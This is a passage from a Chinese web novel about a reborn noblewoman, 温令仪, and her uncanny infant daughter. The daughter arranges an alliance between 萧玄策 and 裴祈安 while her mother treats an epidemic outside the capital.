《被囚三十年,重生后我踏碎皇城》 第134章 想要送小娃娃一场机缘 小囡囡在萧玄策看不到的地方撇了撇嘴儿,另外一只手的帕子悄悄的藏起来。 小李氏醒来,有些惊慌失措:“小小姐,奴婢不知怎么就睡着了。” “奶娘是累了。”小囡囡乖巧的贴进小李氏的怀里:“囡囡也困了,奶娘一起睡。” 小李氏真心觉得自己是个有福之人,遇到了夫人,伺候了小小姐。 铺好了床,小囡囡再次躺下,乖巧的就正如同这么大的小孩子一般。 萧玄策走了。 隔壁映月院里的温令仪悬着的心终于放下了。 在萧玄策刚来到听风苑的时候,暗卫就发现了,若不是小小姐应对的有些邪门,暗卫就算知道不一定是对手,也必定会护主子周全,其中一个暗卫把消息送到了温令仪这边。 温令仪没去,坐在床上额头都是冷汗,她在赌萧玄策斗不过小囡囡,自己若是出现只会适得其反。 可是,小囡囡才一岁的孩子,真担心啊。 果不其然,暗卫过来禀报,萧玄策走了。 小小姐的每一句话都复述给了温令仪,温令仪知道小囡囡在祸水东引,萧玄策对上裴祈安胜算如何尚不可知,但真要说在自己心里的份量,裴祈安固然重要,可比不得小囡囡。 京城依旧是那个繁华又暗潮汹涌的京城,温令仪抱着小囡囡坐在马车里往保和堂去。 一路上,小囡囡看着外面的景儿。 温令仪不知道是不是自己的错觉,总觉得小囡囡的眼神里都是悲悯,只是这小家伙并不想说,不止是萧玄策的事,包括她自己的来历。 要有耐心。 温令仪是这么告诉自己的。 虽然小囡囡骗萧玄策,让他去寻找裴祈安,但小囡囡确实保护着自己,从她出现到现在,弥补了温令仪亲生孩儿一面都没见到就被害死的痛苦。 保和堂里,做草药生意的商人来了不少,温令仪请他们到会客厅里。 从早晨到晌午,温令仪送走了这些商人,桌子上放了一摞契书,各地的草药都会随行就市,但都要给保和堂。 温令仪陪着小囡囡吃中饭的时候,药王谷的信来了。 打开书信,温令仪终于露出了笑意,这字迹一看就是师父的,他老人家一定是好了。 书信里,天成子叮嘱温令仪要小心时疫,并且药王谷的人已经往南地去了,沐白说了保和堂的事,天成子决定以温令仪的名头在各处开保和堂。 师父一直都在拼尽全力护着自己。 信里没有提穆青,就算是不提,温令仪也知道师父不会放过穆青的。 天大地大,有心人要把穆青藏起来太容易,想要找到就很难。不过温令仪知道,用不了多久,穆青会自己现身的,她的牵机毒,就算是穆青也难解,只不过再见到穆青的时候,那就根本不用周旋了,不死不休是早就无可更改的事实。 转眼,九月天。 京城似在一夕之间就风声鹤唳了。 先是户部,随后是尚药局,不到半月,京城人尽皆知,南地爆发了大洪水,时疫横行,死了很多人。 京城方圆百里,朝廷驻兵严防死守,不让流民接近京城,更不用说到京城里了。 温令仪动心去南地。 “娘亲,京城不会太平的。”小囡囡摆弄着自己的那些珠子,抬头看着温令仪:“宫里会最先爆发瘟疫。” 温令仪起身过来坐在小囡囡身边:“囡囡能未卜先知吗?” “算是吧。”小囡囡把一颗最漂亮的夜明珠放在温令仪的手心里:“娘亲要相信我,留在京城能赚很多银子和名声。” 温令仪抬起手摸了摸小囡囡的发顶:“囡囡,你是娘亲的福星。” 认真摆弄珠子的小囡囡停下了手里的动作,抬头看温令仪,大眼睛里盛满笑意:“因为你是囡囡的娘亲啊。” 温令仪端详着小囡囡,自己真是好福气,她要护好这个孩子。 “娘亲,我跟你说个成方,可以治时疫,让保和堂现在就开始配好,制成水丸和蜜丸,到时候可以卖很多银子。”小囡囡说。 温令仪笑着摇头:“囡囡,娘亲没想过用保和堂赚银子。” “名声要,银子也要,穷苦人家可以施药,富贵人家的银子不咬人。”小囡囡把这些珠子都收起来,凑到温令仪身边,一歪身子躺在温令仪的腿上,抬头看着温令仪:“娘亲,你对京城里的人不熟悉,他们为富不仁的多,心存良善的少,做个善良的人,但不能做个善良的愚人,那样别人会欺负你的。” 让这么小的孩子教自己道理,温令仪有点儿不好意思,但小囡囡说的没错,自己确实不了解京城的人,上一世成亲到被囚禁,这一世也没有跟外人多往来,但小囡囡这么小,她是怎么了解的? “娘亲可别问,问我也说不上来,反正我知道。”小囡囡说。 那模样逗笑了温令仪,这孩子竟连自己想什么都知道吗?罢了,不问就不问。 温令仪研墨,小囡囡就坐在桌案上,一个说一个写,方子写完后,温令仪震惊了,别说这些草药了,就是份量都明明白白的说出来,成方后,竟然是大青龙汤、小青龙汤、大续汤喝都气汤。 “囡囡还会岐黄之术?”温令仪问。 小囡囡摇头:“我不会啊,但是老爷爷梦里告诉我了。” 饶是温令仪一直都在告诉世界之大,无奇不有,一直都认为自己能重生,小囡囡可能也有这份机缘,可还是被梦示给震惊了,世人都觉得鬼神之说是以讹传讹,但温令仪学了岐黄之术后,明白阴阳本就是万物之始,鬼门十三针也略有涉猎,师父也曾说过外科,这可不是刀伤那种,而是外道之物和人互相冲撞的病症,民间叫撞邪。 自己真的捡了个小仙童。 “娘亲,快去安排,草药会越来越贵,一直到年底呢。”小囡囡说,还喊小李氏进门,抱着她出去看景儿。 温令仪忙起来了,配伍草药,能制蜜丸的制蜜丸,水丸更合适的就制水丸,就算不能制成丸剂,也把一份份草药都配伍好,存放在架子上。 小囡囡闲着无聊,让小李氏把那些宝贝取出来玩儿。 心里在盘算萧玄策,这个人应该还没离开京城,可惜这副小身体太小,什么都做不了,不然说什么也要把这个人的命留在京城,爹娘下场太凄惨,这次绝对不会再让他们那么惨了。 不然,自己的存在还有什么意义呢? 萧玄策大摇大摆的翻墙进来,小李氏吓得赶紧抱住了小囡囡,厉声:“什么人!青天白日怎么敢私闯民宅!” “我朋友。”小囡囡说:“奶娘不需大惊小怪。” 小李氏不肯松手。 她才不信,这男人多大了?小小姐从来没离开自己身边过,哪里来这样的朋友? 萧玄策挑了挑眉,对小囡囡说:“带你去一趟,看样子怕是不能。” “小小姐,我们去找夫人。”小李氏说着,抱着小囡囡撒腿就跑。 温令仪见小李氏抱着小囡囡惊慌失措的跑过来,立刻迎上去:“怎么了?” “夫、夫人,有、有个贼人要抓走小姐。”小李氏腿发软,嘴也不利索了。 温令仪伸出手接过来小囡囡。 “娘亲,是萧玄策。”小囡囡说。 温令仪缓缓地吸了口气:“囡囡要见他?” “见啊,母亲带我去,奶娘吓坏了。”小囡囡说。 温令仪抱着小囡囡到后院,见萧玄策坐在小亭子里,手里正摆弄着小囡囡那些宝贝珠子。 “萧公子这么闲吗?”温令仪走过来,淡淡的说。 萧玄策放下手里的珠子,起身拱手一礼:“想要送小娃娃一场机缘,不知道夫人敢不敢带着她跟我走一趟呢?” 第135章 一家都是炮灰,谁信啊! 温令仪刚要拒绝。 小囡囡立刻说:“娘亲,去。” 萧玄策看着这对儿母女,嘴角微微勾起,心里平衡多了,因温令仪显然也要听小娃娃的,自己这几日都没想明白,那么小的娃娃,竟让自己莫名的信服,如今释然了。 温令仪见小囡囡眼神坚定的样子,哪里还有半分孩子模样,点了点头:“那不能离开母亲半步。” “好。” 萧玄策答应的爽快。 温令仪抬头看他,忍不住蹙眉:“萧公子真是很闲。” “是跟令媛投契。”萧玄策其实想要收小囡囡为义女,这种秉承大气运而生的孩子,亲近她会被照拂吧。 温令仪坐上马车,小囡囡坐在温令仪怀里,按照萧玄策给的地址往南城去。 “娘亲。”小囡囡知道温令仪很紧张,轻轻地握住了她的手:“你附耳过来。” 温令仪照做。 小囡囡在温令仪耳边轻声说:“老爷爷告诉我,萧玄策会杀我爹,他会成为天下共主,到时候大夏就不存在了,不过这是很多年以后的事。” 温令仪身体绷紧:“囡囡,你说的你爹是谁?” “是裴祈安啊,娘亲,我是你和他的女儿啊。”小囡囡说到这里,顿了一下,索性把心一横:“我不是捡来的孩子,是我爹早就安排人把我救走了,娘亲,我是你亲生的女儿。” 温令仪的眼泪夺眶而出,紧紧地抱住小囡囡:“是真的吗?这是真的吗?” “是真的,我爹知道,娘亲不知道,五舅舅不知道,囡囡一直都不会说话,所以知道也没法告诉娘亲的。”小囡囡给温令仪擦眼泪:“娘亲重生归来,小囡囡一定会保护好娘亲的。” 温令仪脑子都乱了,上一世,上一世自己一直都把晏明昭当成亲生的孩子,直到临死前才知道有女儿在,难道上一世裴祈安也一样救走了女儿? “别怪爹爹,爹爹不是不想救娘亲,是爹爹死在了萧玄策手里,若不是囡囡怕杀了萧玄策后患无穷,在庄子里就该杀了他。”小囡囡说。 温令仪深吸一口气:“现在娘亲也能杀了他。” “不能杀,因为爹爹要报仇,娘亲也要报仇,这个人会成为爹爹的好兄弟。”小囡囡说:“天下那么大,可以有很多君王和皇帝,只要相安无事,百姓就不会血流成河啊。” 温令仪轻声:“囡囡,娘亲是不是太笨了?” “不笨啊,娘亲厉害着呢,能从晏家全身而退,娘亲是最厉害的人。”小囡囡说:“只是娘亲并不知道外面都发生了什么事。” 温令仪问:“囡囡,上一世你活得好吗?” “不好,找不到娘亲,爹爹死了,我是在慈庵堂里长大的小道童,等我长大了,一切都变了,即便是知道真相也没有用,无人帮我,比上官子玉都惨。”小囡囡说。 看温令仪又掉眼泪,小囡囡轻轻地叹了口气,她如何告诉眼前这个可怜的女人,这是一本书的世界,自己曾经看过这本书,只不过书的主角是萧玄策。 而温令仪所说的上一世,她和裴祈安的孩子一出生就被害死了,而裴祈安没来得及找温令仪,便去了小宛国,本打算杀回京城为裴家报仇,找到温令仪,可遇到了真正的男主萧玄策,死在了萧玄策手里,唉,一家三口都是炮灰。 真相是残酷的,自己不会再让一切重演,就不用告诉她。 温令仪大喜大悲之后,很快就平静下来了,她知道小囡囡的话绝不是乱说的,至少自己重生的事从不曾对任何人提起,再者事出反常,这么小的孩子能拿捏萧玄策,说出去谁信呢? 再者,上一世迟迟没有人来救自己,原来他们都被害在自己前面了。 “囡囡,对不起。”温令仪拥着小囡囡在怀里,第一次那么清晰的感觉到骨肉相连,第一次知道了当娘到底是什么感觉,原来她被上苍如此眷顾,她的孩子一直都在自己身边。 小囡囡微微闭上眼睛,感受这份温情,真好,她以为自己不管到哪里都会六亲缘薄,实则不然,这不就有了亲娘嘛! 马车来到南城的一处宅院外停下来,门口等候的人正是送礼的南英。 温令仪抱着小囡囡下了马车,小囡囡扬起小脸:“南爷爷好。” 南英被叫的一脸惶恐,上前行礼:“夫人、小姐,老奴奉主人之命,在这里恭候二位,请。” “有劳了。”温令仪微微颔首,抱着小囡囡进了院子。 院子到没有多特别的地方,看着跟寻常富贵家没有区别,一路到了待客的花厅里,南英在门外停下来:“主人,贵客到了。” 温令仪从南英称呼自己夫人,而不是晏夫人的时候就明白,自己在萧玄策跟前没有秘密,今儿请的也不是自己,而是小囡囡。 萧玄策起身拱手一礼:“请坐。” “萧公子,有话不妨直说。”温令仪知道自己心情是有些变化的,知道这就是自己怀胎十月的孩子,那份舍身相护的感觉像是从心里长出来了似的。 萧玄策笑了:“听说小囡囡有两个义父。” “只有一个,我五师兄。”温令仪抬眸看着萧玄策,小囡囡确实只有一个义父,裴祈安早就知道这是他的女儿,这个男人瞒自己好久! 萧玄策看了眼小囡囡,没提裴祈安,毕竟这孩子对裴祈安似乎有感情,但远不及对温令仪的感情,往温令仪伤口撒盐,自己可就得罪这个小人儿了。 清了清嗓子:“我要离开大夏,这边的事情顾不过来,想要托付给小囡囡。” 温令仪像是看怪物似的看着萧玄策:“萧公子,我的女儿才一岁三个月,你不觉得这个要求太不合乎常理了吗?” “小孩子会长大的。”萧玄策笑着说:“也是我和小囡囡投缘,想要收为义女,不知道温二小姐可愿意。” 小囡囡看温令仪。 温令仪低头看着小囡囡。 “你愿意?”温令仪问。 小囡囡点头。 温令仪不自觉的把小囡囡抱得紧一些。 小囡囡转过头:“义父,你很有钱吧?” “有。”萧玄策笑意更深了些:“但凡大夏境内的一切都归你管,你也不用操心,等你长大了,愿意管的时候,接过去这一切就行。” “都是我的?”小囡囡皱眉:“那你肯定有条件。” 萧玄策起身走到旁边,抬起手拉开墙上的幔帐,露出里面的舆图,回头对小囡囡说:“告诉我,裴祈安在哪里,若我与他合作,能护着你们母女一世安康,这算不算条件?” 小囡囡轻轻地拍了拍温令仪的手。 温令仪抱着她来到舆图前,小囡囡指着其中一个点:“在这里,义父就是不与他合作,也能护我们母女一世安康,但若是义父杀了他,我想,你的仇人会多很多很多的。” “哦?”萧玄策挑眉:“会有谁?” “温家,温家背后是宋家,我和娘亲都是温家人,我娘身后有大夏整个江湖,你觉得呢?”小囡囡担忧的看着萧玄策:“多跟义父说一句,西域三十六国,对义父来说足够了,觊觎大夏就是自寻死路。” 萧玄策负手而立,在背后的两只手缓缓地握成了拳头,这个小娃娃若不能为自己所用,留不得啊。 第136章 宁可在京城当个厨子 温令仪只需要抱着小囡囡。 萧玄策召集手下,在大夏培植的势力极大,京城是其中枢,能在这里出现的人都是头目。 单单头目就有五十几个人,这些人站在偌大的院子里,萧玄策立在温令仪身旁,因小囡囡抱在温令仪的怀里。 当这些人恭敬地单膝跪地,称呼小囡囡少主的时候,温令仪的心情是非常不平静的,她一直认为父母是孩子的保护神,呵护孩子健康长大,可她的女儿才一岁零四个月,手底下就有了这么庞大的一个组织,而她有一种预感,小囡囡绝不会坐享其成,而是会把这一股不容小觑的力量完全调动起来。 认主之后,这些人离开的悄无声息。 萧玄策请母女二人落座,除了令牌还有大帐钥匙,调用钱财的印信,一并交给了小囡囡。 “萧公子,我觉得小囡囡还太小,只怕不能保管好这些东西。”温令仪说。 萧玄策却摇头:“我从这里离开,除非必要不会再来,囡囡绝非常人,足以掌控,总比多年筹谋,大权旁落要好得多。” “这个。”温令仪不知如何作答,因从其本心,罢了,从小囡囡出现在自己身边,到她坦诚的说了自己的身份,自己的本心只是慈母心肠,并不是小囡囡的能力,她也想要看看小囡囡会做什么,毕竟这是大夏,她还有能力保护女儿。 小囡囡抿着嘴角一言不发,她知道这边是自己真正能运用的能量。 唯一且忠诚的。 在聚贤阁酒楼安排了席面。 除了萧玄策外,还有南英。 作为看顾萧玄策长大的老人,萧玄策把小囡囡托付给他,并且叮嘱看到小囡囡如同看到自己,言外之意,全然托付给小囡囡,以她为主。 南英不敢看轻小囡囡,另外能再伺候小主子,他知道自己不用去荣养。 一辈子,无儿无女无牵挂,荣养对于他来说,太残酷了。 聚贤阁里,蔡昀亲自掌勺,温令仪在这边陪着说话,小囡囡则在雅间里跟萧玄策说话。 “你这丫头是什么气运加身?”蔡昀看了眼温令仪:“小囡囡如此特别吗?” 温令仪点头:“之前是因为受身体限制,无法表达,但去岁冬日之前准备炭,是小囡囡的意思,包括前些日子让我囤粮,若不是萧玄策出现,小囡囡或许还不会主动说明,她怕吓到我。” “格外用心才行。”蔡昀说。 温令仪叹了口气:“蔡爷爷也是怕慧极必伤吗?” “除非有大气运加身。”蔡昀说:“我本打算回去药王谷,但墨染都出现了,可见江湖上极为不太平,如今小囡囡又如此特别,我就在这里,以后带着小囡囡吧。” 温令仪又惊又喜:“蔡爷爷,您能护着小囡囡,她就是有大气运的人。” 蔡昀摆了摆手:“走吧,我去见一见大宛国的南院大王,倒也是后生里惊才绝艳的人,世道要乱了,所以才会有这么多能人异士出现,百姓的苦啊。” 雅间里。 萧玄策让南英守在外面,小囡囡坐在桌子上,乍一看就是慈父带着小女儿玩耍,可若是能走进倾听,必定会吓一跳,因小囡囡再说西域三十六国,西凉和大夏之间的必然一战,甚至提到了晏怀卿。 “你憎恨晏怀卿如此之深,为何不让温令仪离开他,哪怕是下堂,我都可以带着你们母女二人去大宛国,给你们无人能企及的荣光。”萧玄策说。 小囡囡抬头凝视着萧玄策:“义父,你想要禁锢我的娘亲,然后利用我吗?” 萧玄策清了清嗓子:“并非如此。” “一面之缘,救命之恩,义父想要用以身相许来报恩吗?”小囡囡大眼睛扑闪扑闪的看着萧玄策,见她窘迫,笑出声来:“就说义父不是那等小人,我之所以憎恨晏怀卿,是因为晏怀卿就是禁锢母亲,先要攀附温家,看中母亲身后的药王谷,甚至是江湖势力,那个男人蠢且坏,所以我没有机会只能忍耐,一旦有机会,必定会置之死地。” 萧玄策抬起手轻轻地捏了捏小囡囡的脸蛋:“你之前和温令仪说过吗?” “没说啊,怕吓到娘亲,义父给我的人,给我的钱,能让我放开手脚做事,若不然我也不会跟义父说,再者义父乃是正人君子,值得囡囡相信,并且囡囡会帮助义父达成所愿,我们之间只会惺惺相惜,而不是彼此算计和伤害。”小囡囡说。 这样的孩子,这份谈吐,萧玄策只恨不得自己是她亲爹。 当然,这孩子的亲爹到底是谁不好说,但绝对不是晏怀卿。 他对男女之事不热衷,甚至心里是厌弃的,所以根本没让人细查晏怀卿和温令仪之间的事,看来还是有漏掉的细节,自己得好好查一查,临走之前争取一下,若温令仪爱慕英雄,自己恰好是,保不齐就是一段好姻缘呢。 娶妻不是必要,但取温令仪,就看小囡囡都值得一试。 他并不在乎大夏所谓的江湖势力。 算得了什么? 药王谷嘛,西域三十六国也有神医,岐黄之术也不弱。 什么都有不相伯仲的对比,唯独小囡囡仅此一份。 “主人,少主,摆席面了。”南英出声。 萧玄策伸出手直接把小囡囡抱在怀里,这软软的小团子抱在怀里的一刹那,萧玄策知道自己想要当爹,当爹的感觉还真是非常美妙。 南英打开门。 小伙计鱼贯而入,菜品色香味俱全,萧玄策看到小囡囡偷偷擦口水,那老父亲的柔软心顿时难以抑制,小孩子喜欢美味,就应该这样,所以纵然是个让人看不透的奇童,可也受制于七情六欲,这显得小囡囡都可爱了很多。 温令仪陪着蔡昀过来。 萧玄策看到蔡昀,还是微微一愣。 能让他十分留意的人并不多,但蔡昀排在第一位。 这位年少成名,统御大夏江湖五十年之久的老人,是传奇一样的人物。 温令仪到底是多大的福分,一个小囡囡不够,还要有蔡昀吗? 小囡囡张开手臂:“太姥爷。” 蔡昀本来还面无表情,听到这奶呼呼又亲昵的呼唤,顿时忍不住笑了,很自然的走过来把小囡囡接过去,笑着问:“你这小家伙,有点儿特别啊。” “因为我娘亲值得呀。”小囡囡神秘兮兮的说:“就像太姥爷保护我娘亲,宁可在京城当个厨子,我为了保护娘亲,就做她的小孩儿。” “哈哈哈!”蔡昀朗声笑了,单手抱着小囡囡,看萧玄策:“大宛国的南院大王呢?为何会在这里呢?” 第137章 这么多追随者 “老人家,能在这里遇到囡囡,是机缘,温家二小姐对某有救命之恩。”萧玄策说的很自然。 蔡昀点了点头,请萧玄策落座。 温令仪和小囡囡在隔壁桌子坐下,中间隔着屏风。 ***大夏朝堂,波澜不惊。 大夏江湖,波云诡谲。 当萧玄策负手而立,看着外面漆黑夜色,听手底下的人说晏怀卿温令仪之间种种的时候,忍不住蹙眉。 作为一个毫不相干的人都对晏怀卿极为不齿,怪不得小囡囡恨不得让自己出手,借刀杀人为母报仇了。 算是送给女儿的礼物,这次回去就会一会晏怀卿。 至于温令仪,萧玄策承认她是个美人儿,让人心生怜惜,可若真对她有想法,只怕小囡囡这一关都不好过。 当晚,萧玄策离开了京城。 他直奔小宛国去。 却不知道,早在见到萧玄策的时候,温令仪就让人给漠北送消息,并且叮嘱尽快确定裴祈安下落。 而小囡囡在萧玄策离开这一晚,也让蔡昀利用江湖手段,把消息直接送到裴祈安手里。 小宛国。 裴祈安准备往大宛国去,因得到消息,大宛国内乱,南院大王下落不明,他要趁机和大宛国君谈一谈合作。 没等他离开,温慕春的人就来送信了,萧玄策出现在了大夏,并且被温令仪救了一命。 裴祈安微微蹙眉,差人立刻往大宛去,而他留在了小宛,准备去漠北和温家汇合,大宛在西域三十六国的地位很高,若是能和大宛合作,可以夹击西凉,而后入夏。 显然,事情有变,萧玄策去大夏,必定有后手。 翌日,墨染出现在了裴祈安面前,一封书信放在桌子上:“裴祈安,我们又见面了。” “墨盟主能亲自来了小宛,某十分意外。”裴祈安请墨染落座。 墨染坐下来:“萧玄策收了小囡囡为义女,大夏培植多年的势力都交给了小囡囡,小囡囡给出了你的方位,我这才能如此准确的找到你。” 裴祈安顿时脸色都变了。 打开书信上面只有小囡囡的小手掌印记,一个字都没有。 放下书信,裴祈安看墨染:“蔡老爷子为我们一家人费心了,墨盟主一直以来都有家国天下之心,能亲自前来必定不止是送信。” “当然,打三十六国。”墨染目光笃定的看着裴祈安:“若想要迅速了结这一切,唯有以战止战。” 裴祈安毫不意外,虽说一个在朝廷,一个在江湖,但他对这位年轻的盟主太了解了,能知道江湖盟主是女儿身的人,怕是除了蔡昀,再无人知道。 “我与温令仪投缘,但是更喜欢小囡囡。”墨染说。 裴祈安颇有些无奈:“囡囡尚且年幼,不知为何都跟她有缘。” 墨染打量着裴祈安,她知道裴祈安知道的太少,不过这完全不妨碍这个男人冲锋在前,唯有这一点就足够了,至于小囡囡和他们的纠葛,自己并不是太关心。 西域三十六国按兵不动,大夏和西凉一战在所难免,而自己不会插手大夏和西凉的争斗,因为附和后世要求。 一个重生的温令仪,一个小囡囡,这些都是不该存在的人,哪里会不破坏秩序。 “若一年之内,可平定西域三十六国,大夏和西凉开战也无妨。”墨染看着裴祈安:“当机立断才行。” 裴祈安沉默片刻。 墨染说:“萧玄策也来找你了。” “既是如此,墨盟主能调动多少人马?”裴祈安问。 墨染笑了:“整个江湖,从来江湖多侠士,为国谈不上,为民可赴死。” 裴祈安起身:“那请墨盟主跟我走一趟。” 二人踏着夜色,快马加鞭往漠北去。 温家。 温慕春大婚之日,整个漠北城张灯结彩,墨染勒马停下,二人站在城外矮山上眺望漠北城。 “明日一早我们进城。”裴祈安说。 墨染拨转马头直接往山里去了。 翌日。 温家花厅里。 温城,温长安和温慕阳都在,温慕春陪着宋明月去拜见祖母。 裴祈安和墨染坐在对面,商讨的便是进山事宜。 秋风飒飒中。 温慕春和裴祈安对弈在亭子里。 “我要见萧玄策。”温慕春说。 裴祈安落下一子:“萧玄策的野心极大。” “那又如何?”温慕春看着棋局:“唯有以身入局,方能胜天半子,墨染因何要率领江湖中人镇压西域三十六国,她不说,我们都无法猜测到,但西凉若不除掉,大夏哪怕改朝换代,也免不得卧榻旁,猛虎安睡。” 裴祈安抬眸:“一劳永逸虽好,可代价极大。” “嗯,无妨。”温慕春把棋子放进棋篓里:“寻个合适的机会吧,小妹和外祖家倾尽全力送来了足够的工匠,山里万事俱备,接下来三个月可制甲胄和兵刃,军中粮草暂时还充足,不能错失良机。” 裴祈安点头。 当裴祈安坐在小宛山中的宅子里看书的时候,萧玄策缓步走进来。 “看来有人通风报信了。”萧玄策深知,若非裴祈安在等自己,想要进这个宅子会非常不容易。 裴祈安抬眸:“比我预想的晚了半日,应该是萧兄的伤势未愈。” 萧玄策落座:“裴祈安,合作如何?” “如何合作?”裴祈安打量着萧玄策,无法想象小囡囡叫他义父时,自己会多心塞,当然英雄惜英雄,尽管两个人可能会成为敌人。 萧玄策笑了:“我要三十六国,你可得西凉和大夏,如何?” “萧兄,我不觉得你能跟我谈条件,据我说知,在大宛败走的你,根基都已经断了,想要短时间内夺回你的一切,只能借助外力,西域三十六国,胃口未免太大了。”裴祈安给萧玄策斟茶,送到他面前:“至于大夏,一易主,但西凉也好,西域三十六国也好,都休想染指。” 萧玄策看裴祈安,他曾经无数次想要把裴祈安杀死,因为知道二人会成为对手,为了永绝后患,当然是在其未成长起来之前,彻底除掉。 可小囡囡的话,不得不信啊。 “我们两个人不都是在纸上谈兵吗?”萧玄策说。 裴祈安沉声:“墨染。” 墨染应声:“裴公子,请移步到院外。” 裴祈安起身做了个请的动作,先一步往外走,萧玄策跟在身后,满腹狐疑,墨染?怎么会出现在这里。 外面,身姿挺拔,一身黑衣的墨染取出来骨哨,骨哨声起,原本伸手不见五指的远处,火光次第亮了起来。 萧玄策愕然,裴祈安什么时候手底下这么多追随者了?难道自己收集来的信息有误? 第138章 我爹自作多情了,我娘亲可不太在乎 墨染一身黑衣,带着修罗面具,立在不远处打量着萧玄策。 萧玄策是灾星,对这个小世界来说是极其可怕的存在,而她几次出手都无法得手,也就是说,墨染第一目标是弄死他,只不过强行改变这一切,她是做不到的。 不过遇到了小囡囡,墨染豁然开朗了。 所以就算是现在见到了萧玄策,她没有想要直接弄死他的心,而是静观其变。 萧玄策也在想小囡囡,那个神异的孩子出现在大夏,说是护着温令仪,可引自己来见裴祈安,并且直接对自己说不能动大夏和西凉,足以见得,她护着的可不止是温令仪,至于说什么星君下凡,他是不信的。 裴祈安负手而立:“这些够吗?” 萧玄策笑了:“裴祈安,我低估你了。” “哦?”裴祈安转过头看萧玄策:“合作可谈?” 萧玄策转身,二人进屋,落座后,萧玄策问:“可要借兵。” “对,帮你荡平三十六国,让你成为三十六国共主,西凉和大夏,归我。”裴祈安说。 萧玄策点头:“好,就这么办。” 裴祈安让萧玄策亲自动笔,两个人定下了百年之内不起刀兵的盟书。 翌日。 裴祈安亲自送墨染回大夏,让其把书信带给温令仪。 他则跟裴祈安率江湖侠士往大宛国,襄助萧玄策。 ***京城。 时疫的消息瞒不住了,京城外流民暴动。 温令仪请命,带着保和堂的郎中去城外施药。 永元帝在早朝上,龙案都踹翻了,因下面的人瞒着不报,等到瞒不住的时候,南地尸横遍野,洪水肆虐又颗粒无收,眼看着大夏将倾,最可怕的是各地储粮大库都被流民攻击,守卫官兵竟招架不住。 与此同时,西凉开始挑衅,雁门关和漠北都已经开始有摩擦,这是在试探大夏的能耐。是内忧外患,不过如此。 如今再想三公,永元帝肠子都悔青了。 三公后人镇守雁门关和漠北,但到底心有嫌隙,他不会天真的以为不管怎么对待他们,他们都会忠心耿耿。 再看京城,唯一的三公后人只有温令仪,温令仪已经带领所有郎中出京城,给流民看病,送药了。 危急时刻,还是他们。 此时。 小囡囡趴在窗口,看着外面阴沉沉的天。 娘亲不准自己离开这个院子,怕感染时疫。 她自己也怕,毕竟这幅身体可不是金刚不坏之身。 但很担心。 小李氏这些日子都麻木了,小小姐完全不像小孩子,府里的事都会过问,账本子都看得明白,她觉得自己伺候着小仙人,这世上的孩子,哪有不开蒙就识文断字的,现在有了。 “奶娘,准备面粉和土豆粉,地瓜粉和黄豆粉。”小囡囡收回目光,坐在小桌子旁:“再准备肥猪肉榨油,回头去寻京城里的妇道人家,蒸馒头。” “小小姐,供得了一饥,供不得百饱啊,再说外面到底来了多少人都不知道,施粥会不会更好一些。” 小囡囡摇头:“娘亲手里的草药有限,那些人想要尽快好转需要力气,食不果腹哪里会好病,去吧,尽可能准备。” 小李氏出门去找容氏,容氏做吃食最擅长。 棠雨和梨雪陪着小囡囡。 小囡囡倒也喜欢这两个小姑娘,虽然出身贫寒,也小小年纪就经历了苦难,但容氏是个好母亲,两个孩子都十分聪明和勇敢。 棠雨活泼,梨雪少言寡语,但聪明。 小囡囡教她们读书识字,尽管奶声奶气的,但十分威严,棠雨和梨雪学得也很快。 “梨雪,送一封书信去南城。”小囡囡写了书信放进信封里:“交给南英。” “是,小姐。”梨雪揣好了书信出门。 南城,南英接到书信打开,看过之后问:“是少主亲笔所写?” 不怪南英这么问,这字,确实不敢恭维,手上力道不足是一方面,主要是有些字要靠猜,当然大概意思是清楚的。 梨雪行礼:“是小姐亲笔所写,叮嘱奴婢,若您问起来,就说得照办,并且要尽快。” “好好好,回去告诉少主,今晚送到。”南英几次试探,都被小囡囡折服,现在是心服口服了。 梨雪告辞离开。 当晚,小囡囡亲自来到后门,十几辆马车缓缓而来,车夫带着两个壮汉,一袋袋的面粉搬进了听风苑,堆满了院子和屋子。 就在小囡囡打着哈欠,吩咐小李氏明天让那些妇道人家进府干活的时候,看到了墨染。 墨染笑着过来,弯腰把小囡囡抱起来:“怎么,不装了?” “装不下去了呗,我娘亲都去城外治病了,治好了口头表扬,治不好命都能搭上,你怎么回来了?”小囡囡问。 墨染在她耳边轻声说:“给你娘送情书。” 小囡囡噗嗤笑了:“那是我爹自作多情了,我娘亲可不太在乎。” 墨染笑出声来:“你可真敢说,我先去见你娘亲,回头找你玩儿。” “快去,快去,我困得厉害。”小囡囡摆手:“对了,萧玄策见到我爹了?” “嗯,我看萧玄策的命都改了,肯定是你出手了吧?”墨染问。 小囡囡低声:“若是改不了,咱们俩联手弄死他!” 墨染捏了捏小囡囡的脸蛋儿:“听你的,等我回来,给我准备点儿好吃的。” 城外。 温令仪刚坐下来,两只手都止不住在颤抖,只诊脉就累成这样,可想而知这一天给多少人看病。 墨染看到这样的温令仪,微微蹙眉:“你是要把自己累死吗?” “受人所托,总是要做点儿事的。”温令仪说,尽管墨染不知道自己是受谁托付,可她自己知道,上官子玉临死之前的嘱托,她没敢忘记。 这些大夏子民就是曾经的大梁人,能救一个是一个。 墨染听温令仪那沙哑的声音,轻轻地叹了口气,坐在对面从怀里取出来书信交给她。 温令仪接过来,两只手颤抖的打不开书信,微微蹙眉。 “我来。”墨染接过去,取出来匕首裁开火漆,取出书信递给温令仪。 温令仪端起茶水喝了一大口,这才打开书信仔细看。 裴祈安没死,她早就知道,可裴祈安和萧玄策联手还是让她略有意外,不过小囡囡在这件事上,可是功不可没。 看到最后,温令仪缓缓地吸了口气,她微微闭上眼睛,脑海里浮现裴祈安和萧玄策,这两个人还真敢指点江山,就这么把西域三十六国、大夏和西凉分了? “墨染,胜率大吗?”温令仪睁开眼睛,看墨染。 第139章 我就是最好的崽 墨染没想到温令仪会问自己。 温令仪轻声:“裴祈安能调动什么兵马?唯有你帮他,所以胜率大吗?” “必胜。”墨染说:“只不过道长且阻,暂时他顾不过来西凉和大夏。” 温令仪抬起手压了压额角:“就算他此时此刻在京城,也顾不过来的,你看看外面这些百姓,若不是一点儿活路没有了,若不是不甘心就这么死了,怎么会出现在这里呢?” “我不会插手这件事。”墨染说。 温令仪苦笑:“我知道,若非我受人所托,我也不插手这件事,罢了,不提这些,你还要回去吗?” “是,明天一早就走。”墨染说。 温令仪看看自己的手,写一封信给裴祈安?真是提不动笔,想了想取下头上发钗:“给他带回去,就说我们母女平安,无需担心。” 墨染接过来发钗放在怀里:“温令仪,你是我见过的女子里,最特别的一个。” “特别倒霉。”温令仪摇头:“尽快离开吧,时疫凶险万分,不可久留。” 墨染没有解释。 